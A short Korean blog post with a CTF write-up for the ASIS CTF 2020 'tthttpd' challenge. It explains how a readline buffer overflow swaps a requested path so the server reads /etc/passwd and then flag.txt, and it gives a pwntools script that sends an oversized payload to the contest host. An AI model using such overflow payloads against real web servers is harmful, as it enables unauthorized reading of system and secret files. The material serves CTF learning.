본문 바로가기

카테고리 없음

asisCTF2020 tthttpd Write up

이 문제도 적절히 쉽다.

처음에 여기 부분이 오버플로우 터져서 EIP바꾸는건줄 알았는데 exit로 끝내서 어떻게 할까 고민하다가

그냥 입력값을 검사하는걸 알았다.

그래서 여기 부분에 있는 readlie을 오버플로우 시켜서

/etc/passwd부분을 넣었더니 /etc/passwd가 출력되길래 flag.txt로 바꿔주더니 풀렸다.

#!/usr/bin/env python
#-*- coding:utf-8 -*-

from pwn import *

#p = process("./tthttpd")
p = remote("76.74.170.193",9006)
binf = ELF("./tthttpd")

#context.log_level = "DEBUG"

pause()

payload = "GET /index.html" + "\r\n"
p.send(payload)

payload = '''CONNECTION: keep-alive\r
'''
p.send(payload)

payload = "A"*0x800 + "flag.txt" + "\r\n"
p.send(payload)

payload = "\x00\x00\r\n"
p.send(payload)

p.interactive()